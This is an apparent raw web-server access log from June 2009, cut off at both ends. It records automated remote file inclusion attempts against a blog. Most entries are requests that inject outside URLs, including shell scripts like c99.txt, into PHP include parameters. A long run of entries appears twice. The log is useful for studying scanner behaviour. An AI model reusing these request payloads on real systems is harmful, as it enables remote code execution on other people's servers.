/2009/06/04/inside-an-rfi-scan-bot-rfi-pt3//index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 751 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:50 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 615 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:50 -0600] "GET /2009/06/04/inside-an-rfi-scan-bot-rfi-pt3//?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 685 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:51 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 45655 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:56 -0600] "GET /2009/06/04/inside-an-rfi-scan-bot-rfi-pt3//index.php?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 738 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:57 -0600] "GET /2009/06/04/inside-an-rfi-scan-bot-rfi-pt3//?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 685 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:51:35 -0600] "GET //index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 581 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:51:35 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 773 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:51:36 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 615 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:51:36 -0600] "GET /?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 98384 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:51:38 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 45655 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:39 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 743 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:40 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 585 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:42 -0600] "GET //index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 551 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:42 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 45511 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:44 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 743 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:43 -0600] "GET /?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 98240 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:45 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 585 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:46 -0600] "GET //index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 551 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:46 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 45511 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:48 -0600] "GET /?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 98240 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:51 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 730 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:53 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 572 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:53 -0600] "GET //index.php?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 538 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:54 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 45442 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:54 -0600] "GET /?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 98171 "-" "libwww-perl/5.805" 201.25.70.63 - - [10/Jun/2009:15:24:36 -0600] "GET //index.php?section=http://www.portalwebfree.xpg.com.br/cmd-brandon.txt? HTTP/1.1" 302 532 "-" "Mozilla/3.0 (compatible; Indy Library)" 194.93.191.132 - - [10/Jun/2009:15:48:35 -0600] "GET //index.php?section=error&id=http://uaedesign.com/config/idfx.txt? HTTP/1.0" 302 545 "-" "MSIE 5\\.5;" 58.120.227.233 - - [10/Jun/2009:15:48:35 -0600] "GET //index.php?section=error&id=http://user6.nofeehost.com/wandira/spy.txt??? HTTP/1.0" 302 553 "-" "Mozilla/5.0" 211.49.99.92 - - [10/Jun/2009:15:48:36 -0600] "GET //index.php?section=error&id=http://uaedesign.com/config/idfx.txt? HTTP/1.0" 302 545 "-" "MSIE 5\\.5;" 194.93.191.132 - - [10/Jun/2009:15:48:37 -0600] "GET /?section=error&id=http://uaedesign.com/config/idfx.txt? HTTP/1.0" 200 98166 "-" "MSIE 5\\.5;" 58.120.227.233 - - [10/Jun/2009:15:48:37 -0600] "GET /?section=error&id=http://user6.nofeehost.com/wandira/spy.txt??? HTTP/1.0" 200 98215 "-" "Mozilla/5.0" 211.49.99.92 - - [10/Jun/2009:15:48:38 -0600] "GET /?section=error&id=http://uaedesign.com/config/idfx.txt? HTTP/1.0" 200 98166 "-" "MSIE 5\\.5;" 41.219.214.100 - - [10/Jun/2009:16:05:44 -0600] "GET //index.php?section=error&id=http://digilander.libero.it/atreus888/r0x/c99.txt?? HTTP/1.1" 302 596 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0" 41.219.214.100 - - [10/Jun/2009:16:06:01 -0600] "GET /?section=error&id=http://digilander.libero.it/atreus888/r0x/c99.txt?? HTTP/1.1" 200 98333 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0" 216.119.103.12 - - [10/Jun/2009:10:19:12 -0600] "GET /rfi.txt/errors.php?error=http://www.waxzone.net//components/com_virtuemart/id1.txt?? HTTP/1.1" 404 533 "-" "Mozilla/5.0" 216.119.103.12 - - [10/Jun/2009:10:19:12 -0600] "GET /errors.php?error=http://www.waxzone.net//components/com_virtuemart/id1.txt?? HTTP/1.1" 302 723 "-" "Mozilla/5.0" 216.119.103.12 - - [10/Jun/2009:10:19:13 -0600] "GET /errors.php?error=http://www.waxzone.net//components/com_virtuemart/id1.txt?? HTTP/1.1" 404 33368 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:22:18 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 524 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:22:17 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 302 714 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:22:18 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 33226 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:23:15 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 524 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:23:15 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 302 714 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:23:15 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 33286 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:24:49 -0600] "GET /rfi.txt///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 524 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:24:49 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 302 714 "-" "Mozilla/5.0" 70.85.165.10 - - [10/Jun/2009:10:24:50 -0600] "GET ///vwar/backup/errors.php?error=http://rsh.kiev.ua/images/idfx1.txt? HTTP/1.1" 404 33225 "-" "Mozilla/5.0" 124.0.146.100 - - [10/Jun/2009:11:20:39 -0600] "GET /rfi.txt///?_SERVER[DOCUMENT_ROOT]=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 404 528 "-" "Mozilla/5.0" 124.0.146.100 - - [10/Jun/2009:11:20:39 -0600] "GET ///?_SERVER[DOCUMENT_ROOT]=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 302 557 "-" "Mozilla/5.0" 124.0.146.100 - - [10/Jun/2009:11:20:41 -0600] "GET /?_SERVERDOCUMENT_ROOT=http://food114.tv/banner/shirohige/fxid.txt?? HTTP/1.1" 200 98280 "-" "Mozilla/5.0" 62.85.77.116 - - [10/Jun/2009:12:25:00 -0600] "GET /rfi.txt//claroline/phpbb/page_tail.php?includePath=http://adresik.info//components/com_agora/v7.txt??? HTTP/1.1" 404 551 "-" "libwww-perl/5.805" 62.85.77.116 - - [10/Jun/2009:12:25:01 -0600] "GET //claroline/phpbb/page_tail.php?includePath=http://adresik.info//components/com_agora/v7.txt??? HTTP/1.1" 302 741 "-" "libwww-perl/5.805" 62.85.77.116 - - [10/Jun/2009:12:25:02 -0600] "GET //claroline/phpbb/page_tail.php?includePath=http://adresik.info//components/com_agora/v7.txt??? HTTP/1.1" 404 33290 "-" "libwww-perl/5.805" 89.223.3.98 - - [10/Jun/2009:13:28:03 -0600] "GET /rfi.txt/errors.php?error=http://www.proektov.ru/v5id1.txt??? HTTP/1.1" 404 509 "-" "Mozilla/5.0" 89.223.3.98 - - [10/Jun/2009:13:28:03 -0600] "GET /errors.php?error=http://www.proektov.ru/v5id1.txt??? HTTP/1.1" 302 699 "-" "Mozilla/5.0" 89.223.3.98 - - [10/Jun/2009:13:28:04 -0600] "GET /errors.php?error=http://www.proektov.ru/v5id1.txt??? HTTP/1.1" 404 33107 "-" "Mozilla/5.0" 113.29.225.7 - - [10/Jun/2009:13:34:56 -0600] "GET /rfi.txt///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.bungeholes.com/id1.txt? HTTP/1.1" 404 589 "-" "Mozilla/5.0" 113.29.225.7 - - [10/Jun/2009:13:34:56 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.bungeholes.com/id1.txt? HTTP/1.1" 302 779 "-" "Mozilla/5.0" 113.29.225.7 - - [10/Jun/2009:13:34:57 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.bungeholes.com/id1.txt? HTTP/1.1" 404 33409 "-" "Mozilla/5.0" 113.29.225.7 - - [10/Jun/2009:13:37:26 -0600] "GET /rfi.txt///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.bungeholes.com/id1.txt? HTTP/1.1" 404 589 "-" "Mozilla/5.0" 113.29.225.7 - - [10/Jun/2009:13:37:26 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.bungeholes.com/id1.txt? HTTP/1.1" 302 779 "-" "Mozilla/5.0" 113.29.225.7 - - [10/Jun/2009:13:37:27 -0600] "GET ///administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://www.bungeholes.com/id1.txt? HTTP/1.1" 404 33409 "-" "Mozilla/5.0" 78.38.207.231 - - [10/Jun/2009:14:49:49 -0600] "GET //index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 581 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:49:50 -0600] "GET /?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 98384 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:22 -0600] "GET //index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 581 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:23 -0600] "GET /?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 98383 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:26 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 773 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:27 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 615 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:28 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 45654 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:29 -0600] "GET //index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 551 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:31 -0600] "GET //index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 551 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:31 -0600] "GET /?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 98240 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:32 -0600] "GET /?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 98240 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:34 -0600] "GET //index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 581 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:34 -0600] "GET //index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 551 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:35 -0600] "GET //index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 551 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:35 -0600] "GET /?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 98240 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:35 -0600] "GET /?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 98384 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:37 -0600] "GET /?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 98240 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:40 -0600] "GET //index.php?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 538 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:42 -0600] "GET //index.php?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 538 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:42 -0600] "GET /?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 98172 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:44 -0600] "GET /2009/06/04/inside-an-rfi-scan-bot-rfi-pt3//index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 751 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:45 -0600] "GET /2009/06/04/inside-an-rfi-scan-bot-rfi-pt3//?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 685 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:45 -0600] "GET /?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 98172 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:48 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 773 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:49 -0600] "GET /2009/06/04/inside-an-rfi-scan-bot-rfi-pt3//index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 751 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:50 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 615 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:50 -0600] "GET /2009/06/04/inside-an-rfi-scan-bot-rfi-pt3//?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 685 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:51 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 45655 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:56 -0600] "GET /2009/06/04/inside-an-rfi-scan-bot-rfi-pt3//index.php?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 738 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:50:57 -0600] "GET /2009/06/04/inside-an-rfi-scan-bot-rfi-pt3//?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 685 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:51:35 -0600] "GET //index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 581 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:51:35 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 773 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:51:36 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 302 615 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:51:36 -0600] "GET /?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 98384 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:51:38 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.phonesquare.com/shop/psdownload_engine//admin/includes/spaw/zeus1.txt?? HTTP/1.1" 200 45655 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:39 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 743 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:40 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 585 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:42 -0600] "GET //index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 551 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:42 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 45511 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:44 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 743 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:43 -0600] "GET /?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 98240 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:45 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 585 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:46 -0600] "GET //index.php?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 302 551 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:46 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 45511 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:48 -0600] "GET /?bug=http://www.rentpreview.com/demo//images/drivid.txt?? HTTP/1.1" 200 98240 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:51 -0600] "GET /2009/06/04/controlling-an-rfi-bot//index.php?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 730 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:53 -0600] "GET /2009/06/04/controlling-an-rfi-bot//?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 572 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:53 -0600] "GET //index.php?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 302 538 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:54 -0600] "GET /2009/06/04/controlling-an-rfi-bot/?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 45442 "-" "libwww-perl/5.805" 78.38.207.231 - - [10/Jun/2009:14:52:54 -0600] "GET /?bug=http://www.oknazv.sk//images/ptot1.gif? HTTP/1.1" 200 98171 "-" "libwww-perl/5.805" 201.25.70.63 - - [10/Jun/2009:15:24:36 -0600] "GET //index.php?section=http://www.portalwebfree.xpg.com.br/cmd-brandon.txt? HTTP/1.1" 302 532 "-" "Mozilla/3.0 (compatible; Indy Library)" 194.93.191.132 - - [10/Jun/2009:15:48:35 -0600] "GET //index.php?section=error&id=http://uaedesign.com/config/idfx.txt? HTTP/1.0" 302 545 "-" "MSIE 5\\.5;" 58.120.227.233 - - [10/Jun/2009:15:48:35 -0600] "GET //index.php?section=error&id=http://user6.nofeehost.com/wandira/spy.txt??? HTTP/1.0" 302 553 "-" "Mozilla/5.0" 211.49.99.92 - - [10/Jun/2009:15:48:36 -0600] "GET //index.php?section=error&id=http://uaedesign.com/config/idfx.txt? HTTP/1.0" 302 545 "-" "MSIE 5\\.5;" 194.93.191.132 - - [10/Jun/2009:15:48:37 -0600] "GET /?section=error&id=http://uaedesign.com/config/idfx.txt? HTTP/1.0" 200 98166 "-" "MSIE 5\\.5;" 58.120.227.233 - - [10/Jun/2009:15:48:37 -0600] "GET /?section=error&id=http://user6.nofeehost.com/wandira/spy.txt??? HTTP/1.0" 200 98215 "-" "Mozilla/5.0" 211.49.99.92 - - [10/Jun/2009:15:48:38 -0600] "GET /?section=error&id=http://uaedesign.com/config/idfx.txt? HTTP/1.0" 200 98166 "-" "MSIE 5\\.5;" 41.219.214.100 - - [10/Jun/2009:16:05:44 -0600] "GET //index.php?section=error&id=http://digilander.libero.it/atreus888/r0x/c99.txt?? HTTP/1.1" 302 596 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0" 41.219.214.100 - - [10/Jun/2009:16:06:01 -0600] "GET /?section=error&id=http://digilander.libero.it/atreus888/r0x/c99.txt?? HTTP/1.1" 200 98333 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0" 86.87.40.223 - - [10/Jun/2009:20:43:30 -0600] "GET //index.php?section=error&id=http://www.geocities.com/ichwan_wen/tian.txt??? HTTP/1.1" 302 555 "-" "Mozilla/5.0" 86.87.40.223 - - [10/Jun/2009:20:43:30 -0600] "GET //index.php?section=error&id=http://www.geocities.com/ichwan_wen/tian.txt??? HTTP/1.1" 302 555 "-" "Mozilla/5.0" 86.87.40.223 - - [10/Jun/2009:20:43:31 -0600] "GET //index.php?section=error&id=http://www.geocities.com/ichwan_wen/tian.txt??? HTTP/1.1" 302 555 "-" "Mozilla/5.0" 222.122.49.29 - - [11/Jun/2009:09:30:26 -0600] "GET /rfi.txt/errors.php?error=http://guzelsanatlar.trakya.edu.tr/modules/id1.txt??? HTTP/1.1" 404 527 "-" "libwww-perl/5.79" 222.122.49.29 - - [11/Jun/2009:09:30:26 -0600] "GET /errors.php?error=http://guzelsanatlar.trakya.edu.tr/modules/id1.txt??? HTTP/1.1" 302 717 "-" "libwww-perl/5.79" 222.122.49.29 - - [11/Jun/2009:09:30:27 -0600] "GET /errors.php?error=http://guzelsanatlar.trakya.edu.tr/modules/id1.txt??? HTTP/1.1" 404 33186 "-" "libwww-perl/5.79" 222.122.49.29 - - [11/Jun/2009:09:30:48 -0600] "GET /rfi.txt/errors.php?error=http://guzelsanatlar.trakya.edu.tr/modules/id1.txt??? HTTP/1.1" 404 527 "-" "libwww-perl/5.79" 222.122.49.29 - - [11/Jun/2009:09:30:48 -0600] "GET /errors.php?error=http://guzelsanatlar.trakya.edu.tr/modules/id1.txt??? HTTP/1.1" 302 717 "-" "libwww-perl/5.79" 222.122.49.29 - - [11/Jun/2009:09:30:49 -0600] "GET /errors.php?error=http://guzelsanatlar.trakya.edu.tr/modules/id1.txt??? HTTP/1.1" 404 33185 "-" "libwww-perl/5.79" 187.4.91.64 - - [11/Jun/2009:09:59:01 -0600] "GET //index.php?section=http://www.portalwebfree.xpg.com.br/cmd-brandon.txt? HTTP/1.1" 302 532 "-" "Mozilla/3.0 (compatible; Indy Library)" 187.4.91.64 - - [11/Jun/2009:09:59:01 -0600] "GET /index.php?sayfa=http://www.portalwebfree.xpg.com.br/cmd-brandon.txt? HTTP/1.1" 302 534 "-" "Mozilla/3.0 (compatible; Indy Library)" 187.4.91.64 - - [11/Jun/2009:09:59:01 -0600] "GET /index.php?sayfa=http://www.portalwebfree.xpg.com.br/cmd-brandon.txt? HTTP/1.1" 302 530 "-" "Mozilla/3.0 (compatible; Indy Library)" 69.175.7.242 - - [11/Jun/2009:10:31:20 -0600] "GET //administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://closeup2.com/components/sex.txt??? HTTP/1.1" 302 785 "-" "libwww-perl/5.825" 69.175.7.242 - - [11/Jun/2009:10:31:21 -0600] "GET //administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://closeup2.com/components/sex.txt??? HTTP/1.1" 404 33513 "-" "libwww-perl/5.825" 69.175.7.242 - - [11/Jun/2009:10:37:03 -0600] "GET /rfi.txt//administrator/components/com_dbquery/classes/DBQ/admin/common.class.php?mosConfig_absolute_path=http://closeup2.com/components/sex.txt??? HTTP/1.1" 404 595 "-" "libwww-perl/5.825" 119.110.86.134 - - [11/Jun/2009:10:53:41 -0600] "GET 